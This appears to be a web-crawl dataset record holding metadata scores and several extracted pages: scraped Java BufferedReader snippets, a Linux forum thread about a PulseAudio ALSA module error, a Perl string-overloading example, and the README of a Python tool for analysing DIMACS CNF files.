"rps_doc_books_importance": -1077.9439697265625,
"rps_doc_books_importance_length_correction": -1077.9439697265625,
"rps_doc_openwebtext_importance": -651.4788818359375,
"rps_doc_openwebtext_importance_length_correction": -651.4788818359375,
"rps_doc_wikipedia_importance": -365.2206115722656,
"rps_doc_wikipedia_importance_length_correction": -365.2206115722656
},
"fasttext": {
"dclm": 0.14368730783462524,
"english": 0.8525891900062561,
"fineweb_edu_approx": 1.6785056591033936,
"eai_general_math": 0.8802240490913391,
"eai_open_web_math": 0.19489169120788574,
"eai_web_code": 0.865356981754303
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,776,313,496,561,307,000 | Usando o bufferedreader
Show us exactly how you are using nextLine() and we will surely have a solution faster.By posting your answer, you agree to the privacy policy and terms of service.The config file would be named conf.properties and then it would have in it.
Using IntelliSense | Microsoft Docs
BufferedReader - JUniversal
According BufferedReader javadoc, In general, each read request made of a Reader causes a corresponding.
OpenTop C++ class: BufferedReader - ElCel Technology
The presentation will start after a short (15 second) video ad from one of our sponsors.
Usando o Office 365 Personal e Home - mva.microsoft.com
In looking at the Javadoc for the java.io package, we see a dizzying array of classes.
Java Input and Output (I/O) - DePaul University
What is a BufferedReader in Java, and how do we use it
: Class BufferedReader
¿Escribir un programa en Java que lea una frase por el
Serializability of a class is enabled by the class implementing the java.io.Serializable interface.
[Java] package com.company; import java.io.BufferedReader
The Java.io.BufferedReader class reads text from a character-input stream, buffering characters so as to provide for the efficient reading of characters, arrays, and.
public class Par T private T a b public ParT a T b thisa a
What is the use of BufferedReader in Java program?
BufferedReader is used to support buffered reading operations.
Java IO Tutorial - Java BufferedReader.readLine()
Java FileWriter Class - Learn Java in simple and easy steps starting from basic to advanced concepts with examples including Java Syntax Object Oriented Language.
What I mean is, you need to give us EXACTLY the code you are using with getLine().Ask Question. up vote 3 down vote favorite. 1. I think BufferedReader is better than scanner simply because it does what it says, it buffers.What you want to do is use nextLine for everything, and parse it later.
Browse other questions tagged java or ask your own question.What is the difference between using Buffered reader class and Scanner.
OmegaT - multiplatform CAT tool / Mailing Lists
Most simple example of reading file line by line is using BufferedReader which provides method readLine.
Legion T.I.: Outubro 2011
In this tutorial I set up 3 text files and write a program that implements the BufferedReader to read.
FileInputStream fsdel = new FileInputStream("C:/Folder
import java.io.BufferedReader; import java.io.IOException
Java (programming language): What is the difference
Como enviar parâmetros via post em java usando
Java example to show how to read file with BufferedReader class.Read text from a character-input stream, buffering characters so as to provide for the efficient reading of characters.Enter a Brief Course Description: Introduction to programming.
How to read until end of file (EOF) using BufferedReader in Java.Infinite area under curve without using derivatives and integrals.It seems you are using the Google Docs viewer, but you can easily use the API to get an HTML export of a document without the viewer, by.This tutorial explains Java IO streams Java.io.BufferedReader class in Java programs. Java.io.BufferedReader class reads text from a character-input stream, buffering. | {
"url": "http://twinfallsidaho.us/buliw/usando-o-bufferedreader-153.php",
"source_domain": "twinfallsidaho.us",
"snapshot_id": "crawl=CC-MAIN-2018-34",
"warc_metadata": {
"Content-Length": "9423",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:2GFRPSDPE2FC5A5TKACQ6L5KJUV4B4PM",
"WARC-Concurrent-To": "<urn:uuid:9787a302-3a8f-4476-8d5c-9de021bd87e6>",
"WARC-Date": "2018-08-16T23:32:09Z",
"WARC-IP-Address": "104.27.159.12",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:3AF7Q5RTUIWP5R6SVNE2HZ6GJPZOVGWU",
"WARC-Record-ID": "<urn:uuid:3247ade8-4e7d-4163-aef2-9745d313f2c4>",
"WARC-Target-URI": "http://twinfallsidaho.us/buliw/usando-o-bufferedreader-153.php",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:bdbcaa22-86bf-434c-b8d8-48cdca6cf0ca>"
},
"warc_info": "isPartOf: CC-MAIN-2018-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-165-88-201.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
24,
25,
266,
267,
303,
304,
332,
333,
438,
439,
492,
493,
582,
583,
639,
640,
727,
728,
776,
777,
832,
833,
856,
857,
912,
913,
1013,
1014,
1072,
1073,
1240,
1241,
1300,
1301,
1352,
1353,
1416,
1417,
1467,
1468,
1631,
1632,
1927,
1928,
2060,
2061,
2109,
2110,
2215,
2216,
2242,
2243,
2346,
2347,
2402,
2403,
2461,
2462,
2514,
2515,
2562,
2563,
2809,
2810
],
"line_end_idx": [
24,
25,
266,
267,
303,
304,
332,
333,
438,
439,
492,
493,
582,
583,
639,
640,
727,
728,
776,
777,
832,
833,
856,
857,
912,
913,
1013,
1014,
1072,
1073,
1240,
1241,
1300,
1301,
1352,
1353,
1416,
1417,
1467,
1468,
1631,
1632,
1927,
1928,
2060,
2061,
2109,
2110,
2215,
2216,
2242,
2243,
2346,
2347,
2402,
2403,
2461,
2462,
2514,
2515,
2562,
2563,
2809,
2810,
3245
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3245,
"ccnet_original_nlines": 64,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.330143541097641,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.030303029343485832,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17065390944480896,
"rps_doc_frac_unique_words": 0.5296523571014404,
"rps_doc_mean_word_length": 5.329243183135986,
"rps_doc_num_sentences": 51,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.125399112701416,
"rps_doc_word_count": 489,
"rps_doc_frac_chars_dupe_10grams": 0.06523407995700836,
"rps_doc_frac_chars_dupe_5grams": 0.10283959656953812,
"rps_doc_frac_chars_dupe_6grams": 0.10283959656953812,
"rps_doc_frac_chars_dupe_7grams": 0.10283959656953812,
"rps_doc_frac_chars_dupe_8grams": 0.10283959656953812,
"rps_doc_frac_chars_dupe_9grams": 0.10283959656953812,
"rps_doc_frac_chars_top_2gram": 0.006907139904797077,
"rps_doc_frac_chars_top_3gram": 0.012663089670240879,
"rps_doc_frac_chars_top_4gram": 0.026477359235286713,
"rps_doc_books_importance": -287.9966125488281,
"rps_doc_books_importance_length_correction": -287.9966125488281,
"rps_doc_openwebtext_importance": -161.4129638671875,
"rps_doc_openwebtext_importance_length_correction": -161.4129638671875,
"rps_doc_wikipedia_importance": -114.44004821777344,
"rps_doc_wikipedia_importance_length_correction": -114.44004821777344
},
"fasttext": {
"dclm": 0.6482931971549988,
"english": 0.8270268440246582,
"fineweb_edu_approx": 3.160919427871704,
"eai_general_math": 0.08026844263076782,
"eai_open_web_math": 0.1336490511894226,
"eai_web_code": 0.0655984878540039
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-6,613,628,925,958,887,000 | LINUX.ORG.RU
module-alsa-card.c: Failed to find a working profile.
,
0
1
#> /etc/init.d/udev restart
* WARNING: you are stopping a sysinit service
* Stopping udev ... [ ok ]
* Starting udev ... [ ok ]
* Populating /dev with existing devices through uevents ... [ ok ]
* Waiting for uevents to be processed ...
E: [pulseaudio] module-alsa-card.c: Failed to find a working profile.
E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="29" name="platform-thinkpad_acpi" card_name="alsa_card.platform-thinkpad_acpi" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes card_properties="module-udev-detect.discovered=1""): initialization failed.
E: [pulseaudio] module-alsa-card.c: Failed to find a working profile.
E: [pulseaudio] module.c: Failed to load module "module-alsa-card" (argument: "device_id="29" name="platform-thinkpad_acpi" card_name="alsa_card.platform-thinkpad_acpi" namereg_fail=false tsched=yes fixed_latency_range=no ignore_dB=no deferred_volume=yes card_properties="module-udev-detect.discovered=1""): initialization failed. [ ok ]
Зачем модуль стартует дважды?
К какому пакету относится module-alsa-card.c? Что пересобрать?
К какому пакету относится module-alsa-card.c? Что пересобрать?
$ locate module-alsa-card
/usr/lib32/pulse-1.1/modules/module-alsa-card.so
$ equery b /usr/lib32/pulse-1.1/modules/module-alsa-card.so
* Searching for /usr/lib32/pulse-1.1/modules/module-alsa-card.so ...
app-emulation/emul-linux-x86-soundlibs-20120127 (/usr/lib32/pulse-1.1/modules/module-alsa-card.so)
Всегда Ваш К.О.
init_6 ★★★★★ ()
Ответ на: комментарий от garmonbozia
В pavucontrol почему-то изменился дефолтный звуковой девайс. Выбрал нужный, звук появился.
garmonbozia ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив. | {
"url": "https://www.linux.org.ru/forum/desktop/7615238",
"source_domain": "www.linux.org.ru",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "22291",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:J53QKMKS4JDFWST6M7SL4IZYVHLT7KZF",
"WARC-Concurrent-To": "<urn:uuid:fc445fc4-60f9-478d-be58-beefa6e19969>",
"WARC-Date": "2021-04-21T18:48:08Z",
"WARC-IP-Address": "178.248.233.6",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:7K3TPB7HK45DDEA6YNIU23RZDUUUO2PX",
"WARC-Record-ID": "<urn:uuid:0b5b30b5-004a-48eb-b148-c8828bdeada9>",
"WARC-Target-URI": "https://www.linux.org.ru/forum/desktop/7615238",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:48a62cdb-5b52-4bd7-bdd8-49953b02d04d>"
},
"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-39.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
13,
14,
68,
69,
72,
73,
74,
76,
77,
79,
107,
154,
244,
334,
424,
467,
537,
868,
938,
1295,
1296,
1326,
1327,
1390,
1391,
1454,
1455,
1481,
1530,
1590,
1661,
1760,
1761,
1777,
1778,
1794,
1831,
1832,
1923,
1924,
1939
],
"line_end_idx": [
13,
14,
68,
69,
72,
73,
74,
76,
77,
79,
107,
154,
244,
334,
424,
467,
537,
868,
938,
1295,
1296,
1326,
1327,
1390,
1391,
1454,
1455,
1481,
1530,
1590,
1661,
1760,
1761,
1777,
1778,
1794,
1831,
1832,
1923,
1924,
1939,
2010
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2010,
"ccnet_original_nlines": 41,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.09911894053220749,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.028634360060095787,
"rps_doc_frac_lines_end_with_ellipsis": 0.0476190485060215,
"rps_doc_frac_no_alph_words": 0.5550661087036133,
"rps_doc_frac_unique_words": 0.5962733030319214,
"rps_doc_mean_word_length": 8.720497131347656,
"rps_doc_num_sentences": 43,
"rps_doc_symbol_to_word_ratio": 0.013215860351920128,
"rps_doc_unigram_entropy": 4.390214443206787,
"rps_doc_word_count": 161,
"rps_doc_frac_chars_dupe_10grams": 0.44586893916130066,
"rps_doc_frac_chars_dupe_5grams": 0.5484330654144287,
"rps_doc_frac_chars_dupe_6grams": 0.5484330654144287,
"rps_doc_frac_chars_dupe_7grams": 0.5484330654144287,
"rps_doc_frac_chars_dupe_8grams": 0.44586893916130066,
"rps_doc_frac_chars_dupe_9grams": 0.44586893916130066,
"rps_doc_frac_chars_top_2gram": 0.028490029275417328,
"rps_doc_frac_chars_top_3gram": 0.049145299941301346,
"rps_doc_frac_chars_top_4gram": 0.05769231170415878,
"rps_doc_books_importance": -175.85716247558594,
"rps_doc_books_importance_length_correction": -175.85716247558594,
"rps_doc_openwebtext_importance": -92.7140884399414,
"rps_doc_openwebtext_importance_length_correction": -92.7140884399414,
"rps_doc_wikipedia_importance": -48.47343063354492,
"rps_doc_wikipedia_importance_length_correction": -48.47343063354492
},
"fasttext": {
"dclm": 0.03605341911315918,
"english": 0.12944410741329193,
"fineweb_edu_approx": 0.8185835480690002,
"eai_general_math": 0.002659680088981986,
"eai_open_web_math": 0.24972879886627197,
"eai_web_code": 0.4243996739387512
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.028563",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-4,364,736,815,717,444,000 | my $str = str::new(''); my $html = "$str"; print $html; # print $html->encode; # <encode this later> #### #!/usr/bin/perl use strict; use warnings; use 5.010; use Data::Dumper; $Data::Dumper::Sortkeys=1; my $str1 = str::new('foo'); my $str2 = str::new('bar'); my $good1 = "$str1 $str2"; my $good2; $good2 = $good1; my($good3, $good4); $good3 = "$str1 a"; $good4 = "a $str1"; my($bad1, $bad2, $bad3); $bad1 = "a $str1 a"; $bad2 = "$str1 $str2"; $bad3 = "a $str1 a $str2 a"; say Dumper { GOOD => [$good1, $good2, $good3], BAD => [$bad1, $bad2, $bad3] }; $bad1 = ''."a $str1 a"; $bad2 = ''."$str1 $str2"; $bad3 = ''."a $str1 a $str2 a"; say Dumper { BAD_GOOD => [$bad1, $bad2, $bad3] }; package str; use Data::Dumper; $Data::Dumper::Sortkeys=1; use strict; use warnings; use 5.010; use Scalar::Util 'reftype'; use overload ( '""' => \&stringify, '.' => \&concat, ); sub new { my($value) = @_; bless((ref $value ? $value : \$value), __PACKAGE__); } sub stringify { my($str) = @_; #say Dumper { stringify => \@_ }; if (reftype($str) eq 'ARRAY') { return join '', @$str; } else { $$str; } } sub concat { my($s1, $s2, $inverted) = @_; #say Dumper { concat => \@_ }; return new( $inverted ? [$s2, $s1] : [$s1, $s2] ); } 1; #### $VAR1 = { 'BAD' => [ 'a foo a', 'foo bar', 'a foo a bar a' ], 'GOOD' => [ bless( [ bless( [ bless( do{\(my $o = 'foo')}, 'str' ), ' ' ], 'str' ), bless( do{\(my $o = 'bar')}, 'str' ) ], 'str' ), $VAR1->{'GOOD'}[0], bless( [ $VAR1->{'GOOD'}[0][0][0], ' a' ], 'str' ) ] }; $VAR1 = { 'BAD_GOOD' => [ bless( [ '', bless( [ bless( [ 'a ', bless( do{\(my $o = 'foo')}, 'str' ) ], 'str' ), ' a' ], 'str' ) ], 'str' ), bless( [ '', bless( [ bless( [ $VAR1->{'BAD_GOOD'}[0][1][0][1], ' ' ], 'str' ), bless( do{\(my $o = 'bar')}, 'str' ) ], 'str' ) ], 'str' ), bless( [ '', bless( [ bless( [ bless( [ bless( [ 'a ', $VAR1->{'BAD_GOOD'}[0][1][0][1] ], 'str' ), ' a ' ], 'str' ), $VAR1->{'BAD_GOOD'}[1][1][1] ], 'str' ), ' a' ], 'str' ) ], 'str' ) ] }; | {
"url": "http://qs321.pair.com/~monkads/?node_id=1217269;displaytype=displaycode",
"source_domain": "qs321.pair.com",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "4769",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:65Y4D36HMXJJB65UZDXTAHIBHLU4NX7Q",
"WARC-Concurrent-To": "<urn:uuid:e613edc0-3d8a-446e-95ac-b072ddc9126c>",
"WARC-Date": "2022-05-19T03:27:43Z",
"WARC-IP-Address": "66.39.36.186",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OEVDHQJTNB3T7CMDRXFQXPKEFGQ7LWOO",
"WARC-Record-ID": "<urn:uuid:73059369-cf9b-47ee-82c4-ed13dae2de4f>",
"WARC-Target-URI": "http://qs321.pair.com/~monkads/?node_id=1217269;displaytype=displaycode",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2a1440b1-3921-48b0-a5eb-70e8362b417d>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-215\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0
],
"line_end_idx": [
1960
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1960,
"ccnet_original_nlines": 0,
"rps_doc_curly_bracket": 0.020408159121870995,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.10857143253087997,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02857143059372902,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6442857384681702,
"rps_doc_frac_unique_words": 0.31221717596054077,
"rps_doc_mean_word_length": 4.366515636444092,
"rps_doc_num_sentences": 10,
"rps_doc_symbol_to_word_ratio": 0.018571430817246437,
"rps_doc_unigram_entropy": 3.7210798263549805,
"rps_doc_word_count": 221,
"rps_doc_frac_chars_dupe_10grams": 0.11191710084676743,
"rps_doc_frac_chars_dupe_5grams": 0.29637306928634644,
"rps_doc_frac_chars_dupe_6grams": 0.25595855712890625,
"rps_doc_frac_chars_dupe_7grams": 0.21968911588191986,
"rps_doc_frac_chars_dupe_8grams": 0.11191710084676743,
"rps_doc_frac_chars_dupe_9grams": 0.11191710084676743,
"rps_doc_frac_chars_top_2gram": 0.10362693667411804,
"rps_doc_frac_chars_top_3gram": 0.09326425194740295,
"rps_doc_frac_chars_top_4gram": 0.041450779885053635,
"rps_doc_books_importance": -364.6978759765625,
"rps_doc_books_importance_length_correction": -364.6978759765625,
"rps_doc_openwebtext_importance": -122.9923095703125,
"rps_doc_openwebtext_importance_length_correction": -122.9923095703125,
"rps_doc_wikipedia_importance": -55.22455596923828,
"rps_doc_wikipedia_importance_length_correction": -55.22455596923828
},
"fasttext": {
"dclm": 0.9909248352050781,
"english": 0.22370874881744385,
"fineweb_edu_approx": 3.322422504425049,
"eai_general_math": 0.9249072670936584,
"eai_open_web_math": 0.891667366027832,
"eai_web_code": 0.9282471537590027
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,991,125,926,808,706,000 | Skip to content
prokls/cnf-analysis-py
Folders and files
NameName
Last commit message
Last commit date
Latest commit
History
35 Commits
Repository files navigation
cnf-analysis-py
Author: Lukas Prokop
Date: June 2015 to August 2016
Version: 3.0.0
license:CC-0
cnf-analysis-py is a library to analyze DIMACS CNF files. Those files are commonly used to decode SAT problems and a few basic features of a CNF file might tell you something about the problem stated.
This tool evaluates a list of features which are thoroughly described by the project and stores them in a JSON file.
How To Use
To install use pip3:
$ pip3 install cnfanalysis
Then the command line tool to analyze CNF files is available:
$ echo "p cnf 3 2\n1 -3 0\n2 3 -1 0\n" > example.cnf
$ cnf-analysis-py example.cnf
File example.stats.json has been written.
$ cat example.stats.json
[
{
"@cnfhash": "cnf2$7d16f8d71b7097a2f931936ae6d03d738117b2c6",
"@filename": "example.cnf",
"@md5sum": "04f6bf2c537242f15082867e66847bd7",
"@sha1sum": "23dd9e64ae0fb4806661b49a31e7f5e692f2d045",
"@timestamp": "2016-08-03T10:52:23.412694",
"@version": "1.0.0",
"featuring": {
"clause_variables_sd_mean": 0.908248290463863,
"clauses_count": 2,
"clauses_length_largest": 3,
"clauses_length_mean": 2.5,
"clauses_length_median": 2.5,
"clauses_length_sd": 0.5,
"clauses_length_smallest": 2,
"connected_literal_components_count": 3,
"connected_variable_components_count": 1,
"definite_clauses_count": 1,
"existential_literals_count": 1,
"existential_positive_literals_count": 1,
"false_trivial": true,
"goal_clauses_count": 0,
"literals_count": 5,
"literals_frequency_0_to_5": 1,
"literals_frequency_50_to_55": 5,
"literals_frequency_entropy": 2.5,
"literals_frequency_largest": 0.5,
"literals_frequency_mean": 0.4166666666666667,
"literals_frequency_median": 0.5,
"literals_frequency_sd": 0.18633899812498247,
"literals_frequency_smallest": 0.0,
"literals_occurence_one_count": 5,
"nbclauses": 2,
"nbvars": 3,
"negative_literals_in_clause_largest": 1,
"negative_literals_in_clause_mean": 1,
"negative_literals_in_clause_smallest": 1,
"negative_unit_clause_count": 0,
"positive_literals_count": 3,
"positive_literals_in_clause_largest": 2,
"positive_literals_in_clause_mean": 1.5,
"positive_literals_in_clause_median": 1.5,
"positive_literals_in_clause_sd": 0.5,
"positive_literals_in_clause_smallest": 1,
"positive_negative_literals_in_clause_ratio_entropy": 0.8899750004807708,
"positive_negative_literals_in_clause_ratio_mean": 0.5833333333333333,
"positive_unit_clause_count": 0,
"tautological_literals_count": 0,
"true_trivial": true,
"two_literals_clause_count": 1,
"variables_frequency_50_to_55": 1,
"variables_frequency_95_to_100": 2,
"variables_frequency_entropy": 0.5,
"variables_frequency_largest": 1.0,
"variables_frequency_mean": 0.8333333333333334,
"variables_frequency_median": 1.0,
"variables_frequency_sd": 0.23570226039551584,
"variables_frequency_smallest": 0.5,
"variables_largest": 3,
"variables_smallest": 1,
"variables_used_count": 3
}
}
]
Performance
cnf-analysis-py puts CNF files supplied as command line arguments into a process pool and uses processes in the number of CPUs available on your machine. You can however use -u to define the number of parallel processes. Also consider the remarks for memory.
This sort of parallelism should be best suited for python and I retrieved the following runtime results (for SAT competition 2016 CNF files):
• 3434 files (5.9 GB in total) in Agile took 23h 19min
• esawn_uw3.debugged.cnf (1.4 GB) in app16 took 8 hours and 15 minutes
• bench_573.smt2.cnf (1.6 MB) in Agile took 2min 14sec
Be aware that the performance mainly depends on the features computed. Designated tool to compute a subset of features can be much faster, however none is provided with this implementation.
I am using my Thinkpad x220t with 16GB RAM and an Intel Core i5-2520M CPU (2.50GHz) as reference system here.
Memory
Again, we consider SAT competition 2016 CNF files and besides Thinkpad x220t we also consider a desktop system with an Intel Core i7 CPU (2.8GHz) but only 4 GB RAM.
In Agile CNF files have 1.7 MB average file size. 5 MB files take at most 50 MB (factor 10) to evaluate them.
sin.c.75.smt2-cvc4.cnf (770 MB) in app16 even yielded a MemoryError in python on my Linux machine with only 4 GB. On my 16 GB machine it took 3 hours and 15 minutes.
esawn_uw3.debugged.cnf used 8 GB RAM.
Thrashing can dramatically reduce performance. Hence, if your entire memory is used, consider cancellation. Use units = total virtual memory / (avg file size * 10) to determine the recommended number of parallel units.
Certainly this implementation is not very memory efficient.
Dependencies
It works with Python 3.4 or later. I tested it on linux x86_64. Package dependencies are listed in requirements.txt:
• python_algorithms for a Union-Find implementation
• cnfhash to compute the cnfhash
Command line options
--ignore c --ignore x
Ignore any lines starting with "c" or "x". If none is specified "c" and "%" is ignored.
--no-hashes
skip hash computations
--fullpath
print full path, not basename
DIMACS files
